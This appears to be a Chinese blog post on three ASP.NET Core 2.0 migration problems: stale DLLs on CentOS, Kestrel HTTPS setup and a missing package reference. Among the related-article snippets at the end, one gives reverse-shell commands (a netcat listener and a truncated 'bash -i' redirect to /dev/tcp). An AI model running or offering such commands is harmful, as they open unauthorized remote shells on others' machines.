Core 2.0 的dll实时更新、https、依赖包变更问题及解决
今天所有开发环境已经迁移到mac OS下的Visual Studio Code + 命令行编译发布,而运行服务器是CentOS7,和windows没什么关联了。 只要你Relese编译并在本地有一个与服务器相同的运行环境中运行成功了,迁移到真实服务器不会有什么难度。
下面是迁移到 2.0 版本之后遇到的3个问题及解决办法
1:有时候dll不会实时更新(不是每次都会遇到,并且这事情仅发生在Centos上)有时候你需要把与dll相关的所有边缘文件一同传上去(例如配套的xxx.config.json、xxx.runtime.json),否则即使是重启,它依然加载过去的老dll,过几个小时后手动重启才会加载最新dll。
虽然道理上是说不通的,但这是我真实遇到的事例,原因嘛,不知道,也没空折腾,这类机制可以从侧面得到证明: 你正常运行着服务的时候,可以去运行目录里面更新、甚至删除dll,如果不重启,正在运行的程序不会受到影响,说明linux版本的加载机制不同于mac和windows,它可能是把现有dll全都复制到某个地方后,并且要同时比较配套json文件的时间戮和内容后才会运行。
别的linux会不会也这样,不清楚。
2:https配置不同以往
Kestrel已经演化成独立完整的服务器,应对真实请求没什么问题了, 但是1.1及以下版本加载https的方法已经不适用,需要改为如下的办法:
var WebServer = new WebHostBuilder()
.UseKestrel(options => options.Listen(IPAddress.Any, servicePort, listenOptions =>
{
listenOptions.UseHttps(new X509Certificate2("你的.pfx", "pfx文件的密码"));
options.Limits.MaxConcurrentConnections = 100;
options.Limits.MaxConcurrentUpgradedConnections = 100;
options.Limits.MaxRequestBodySize = 10 * 1024;
}))
.UseContentRoot(AppContext.BaseDirectory)
.UseStartup<Startup>()
.Build();
WebServer.Run();
相信很多人通过LetsEncript来获取https,原始得到的密钥不是pfx格式,随便找个在线转换就可以了。
3, 依赖包变更
我没有用过 preview 3, 而是从preview2迁移到正式版2.0的, 可能你会和我一样迁移后遇到加载View的时候,出现“Cannot find compilation library location for package 'Microsoft.Win32.Registry” , 晃眼一看这包的命名,吓死人,实际它和win32没什么必然关联。解决办法:
在csproj中添加:
<MvcRazorExcludeRefAssembliesFromPublish>false</MvcRazorExcludeRefAssembliesFromPublish>
以及:
<PackageReference Include="Microsoft.Win32.Registry" Version="4.4.0" />
确保编译发布后你的运行目录下存在refs文件夹,里面都是System.xxxx、Microsoft.xxx 这些基本dll,就行了。
这仅是其中一例,我在Google搜索这个问题的时候,还发现别人遇到了类似的其它包Cannot find,道理都一样。
下面是尚未解决的,等待各位探讨
1,目前我是把项目编译为全平台通用的dll,mac编译出来的dll放到centos运行(放到windows也行),实际依赖包保存在系统安装的CLR中。另有一种办法是编译过程中指定runtime,针对centos编译,得到完全二进制、绿色安全部署的运行包(selfhost,容量会很大),可以扔到生产环境中直接就运行了,这种情况我只在1.0 beta的时候在windows上成功编译出来,现在mac没法编译, 命令行假死20分钟没反应。
2,想尝试Visual Studio for Mac,但是搞不定Release发布,GUI中没法配置,设置为Release后,晃眼换个窗口再回去又变回Debug(我明白windows visual studio中统一在解决方案中配置的道理,没用),手动修改csproj的相关配置为Release也没用,就放弃了(当然这是我个人能力不行,相信别人是可以的)。
3, 我之所以选择CentOS 7 是因为它有一个Minimal版本,内存等资源要求较低,并不是因为它是Redhat的双胞胎,如果哪位同好发现还有更好性价比的Linux,还望推荐一份,先行谢过。
刚正式发布一天,可能还会有更多迁移问题待发现
Core 2.0 的dll实时更新、https、依赖包变更问题及解决的更多相关文章
- 微软推出ASP.NET Core 2.0,并支持更新Visual Studio 2017
微软推出ASP.NET Core 2.0的一般可用性,并发布.NET Core 2.0.该公司还推出了其旗舰集成开发环境(IDE)的更新:Visual Studio 2017版本15.3和Visual ...
- .NET Core 3.0 System.Text.Json 和 Newtonsoft.Json 行为不一致问题及解决办法
行为不一致 .NET Core 3.0 新出了个内置的 JSON 库, 全名叫做尼古拉斯 System.Text.Json - 性能更高占用内存更少这都不是事... 对我来说, 很多或大或小的项目能少 ...
- idea更新maven依赖包
IntelljIdea 自动载入Maven依赖的功能很好用,但有时候会碰到问题,导致pom文件修改却没有触发自动重新载入的动作,此时需要手动强制更新依赖. 如下: (1)右键单击项目: (2)在弹出菜 ...
- 把旧系统迁移到.Net Core 2.0 日记(3) - 详解依赖注入 (转)
关于DI 依赖注入, 转载这篇文章, 写得很好的. ----------------------------- DI在.NET Core里面被提到了一个非常重要的位置, 这篇文章主要再给大家普及一下关 ...
- IntelliJ IDEA更新maven依赖包
问题: IntelliJ IDEA自动载入Maven依赖的功能很好用,但有时候会碰到问题,导致pom文件修改却没有触发自动重新载入的动作,此时需要手动强制更新依赖. 方法: 方法一: ①.右键单击项目 ...
- ASP.NET Core 1.0 中使用 Swagger 生成文档
github:https://github.com/domaindrivendev/Ahoy 之前文章有介绍在ASP.NET WebAPI 中使用Swagger生成文档,ASP.NET Core 1. ...
- 【用户交互】APP没有退出前台但改变系统属性如何实时更新UI?监听系统广播,让用户交互更舒心~
前日,一小伙伴问我一个问题,说它解决了半天都没解决这个问题,截图如下: 大概楼主理解如下: 如果在应用中有一个判断wifi的开关和一个当前音量大小的seekbar以及一个获取当前电量多少的按钮,想知道 ...
- 跨平台运行ASP.NET Core 1.0
前言 首先提一下微软更名后的叫法: ASP.NET 5 更名为 ASP.NET Core 1.0 .NET Core 更名为 .NET Core 1.0 Entity Framework 7 更名为 ...
- 跨平台运行ASP.NET Core 1.0(转载)
前言 首先提一下微软更名后的叫法: ASP.NET 5 更名为 ASP.NET Core 1.0 .NET Core 更名为 .NET Core 1.0 Entity Framework 7 更名为 ...
随机推荐
- JavaScript学习笔记(三)——留言板知操纵DOM节点
用JavaScript写了一个简易的留言板,暂不涉及数据库接入等. 1.功能以及流程 主要功能即为留言,用两个文本框接受用户输入的用户名以及留言内容,然后通过"提交留言"按钮将用户 ...
- php 时间戳转化成天数 四舍五入 整数
public function edit() { global $_W; global $_GPC; $openid=$_W['openid']; $boards = pdo_fetchall('se ...
- Docker 的两类存储资源 - 每天5分钟玩转 Docker 容器技术(38)
我们从本章开始讨论 Docker 存储. Docker 为容器提供了两种存放数据的资源: 由 storage driver 管理的镜像层和容器层. Data Volume. 我们会详细讨论它们的原理和 ...
- var与let的区别
var与let的区别 前言: 在没接触Es6之前,我们在js中声明都是通过var来声明变量的,var声明变量虽说方便,但是,又有一些自己的诟病,下边来说一说,这三个的区别! var var相信大家都不 ...
- Linux下NC反弹shell命令
本机开启监听: nc -lvnp 4444nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/ >& perl版本: pe ...
- 优雅的封装ajax,含跨域
之前写过一篇 先定一个小目标,自己封装个ajax,是基于原生js的,也就是jquery中ajax的简化版本实现的思路.众所周知,jquery的ajax是项目中最常用的请求后台的方式,也算是封装的很完美 ...
- Unity3D文件读取
Resources: 是作为一个Unity3D的保留文件夹出现的,也就是如果你新建的文件夹的名字叫Resources,那么里面的内容在打包时都会被无条件的打到发布包中.它的特点简单总结一下就是: 只读 ...
- POJ 3683 Priest John's Busiest Day / OpenJ_Bailian 3788 Priest John's Busiest Day(2-sat问题)
POJ 3683 Priest John's Busiest Day / OpenJ_Bailian 3788 Priest John's Busiest Day(2-sat问题) Descripti ...
- java设计模式 01 开山篇
一. 设计模式概述 设计模式(Design pattern)是一套被反复使用.多数人知晓的.经过分类编目的.代码设计经验的总结.使用设计模式是为了可重用代码.让代码更容易被他人理解.保证代码可靠性. ...
- 小型 Web 页项目打包优化方案
背景 目前团队中新的 Web 项目基本都采用了 Vue 或 React ,加上 RN,这些都属于比较重量级的框架,然而对于小型 Web 页面,又显得过大.早期的一些项目则使用了较原始的 HTML ...